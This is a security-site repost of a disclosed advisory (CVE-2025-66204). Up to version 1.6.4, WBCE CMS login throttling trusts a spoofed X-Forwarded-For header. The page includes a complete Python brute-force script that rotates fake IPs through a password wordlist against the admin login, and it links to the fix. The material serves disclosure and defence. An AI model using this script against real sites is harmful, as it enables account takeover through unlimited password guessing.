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CVE-2025-66204 — CVE-2025-66204 - WBCE CMS allows brute-force protection bypass using X-Forwarded-For header | Kitploit
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CVE-2025-66204

CVE-2025-66204 - WBCE CMS allows brute-force protection bypass using X-Forwarded-For header

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4 months agoNot yet reviewed

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CVE-2025-66204: WBCE CMS allows brute-force protection bypass using X-Forwarded-For header

Overview

FieldDetails
CVE IDCVE-2025-66204
SeverityMEDIUM
AdvisoryView Advisory
Discovered byLukasz Rybak

Affected Products

  • WBCE/WBCE_CMS

Details

Summary

A brute-force protection bypass exists in WBCE CMS 1.6.4. The login throttling mechanism blocks an IP address after 5 invalid login attempts. However, the application fully trusts the X-Forwarded-For header without validating it or restricting its usage.

By modifying X-Forwarded-For on each request, an attacker can reset the counter indefinitely and gain unlimited password guessing attempts, effectively bypassing all brute-force protection.

Details

WBCE CMS determines the client IP using the following logic:

  1. If the request contains the header X-Forwarded-For, the application blindly trusts its value.
  2. Otherwise, it falls back to REMOTE_ADDR.

Although WBCE is not running behind a reverse proxy by default, the login endpoint still parses X-Forwarded-For whenever it is present, even if added manually by the client.

Because the application does not verify that the request originates from a trusted proxy, an attacker can inject their own X-Forwarded-For header with any arbitrary IP address.

This results in:

  • the attacker sends 5 invalid passwords using X-Forwarded-For: 10.0.0.1 → that IP is blocked
  • attacker sends next request with X-Forwarded-For: 10.0.0.2 → treated as a completely new IP
  • brute-force protection can be bypassed indefinitely

This behavior is reproducible on a clean, default installation with no reverse proxy in front of WBCE CMS.

PoC

Steps

Attempt login with wrong password and send header:

X-Forwarded-For: 10.0.0.10

Repeat until lockout occurs (after 5 attempts). image

Change header to:

X-Forwarded-For: 10.0.0.11

Login attempts are reset and allowed again. image

Rotate through 10.0.0.x and brute-force without any limitation.

Automated PoC Script

I built a Python script that performs the attack automatically, rotating spoofed IPs every four attempts and detecting successful login.

image ... image image

This proves complete bypass of the protection.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Impact

  1. Unlimited brute-forcing of any account;
  2. Possible compromise of administrator accounts;
  3. No rate-limiting enforcement;

References

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Disclaimer

This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

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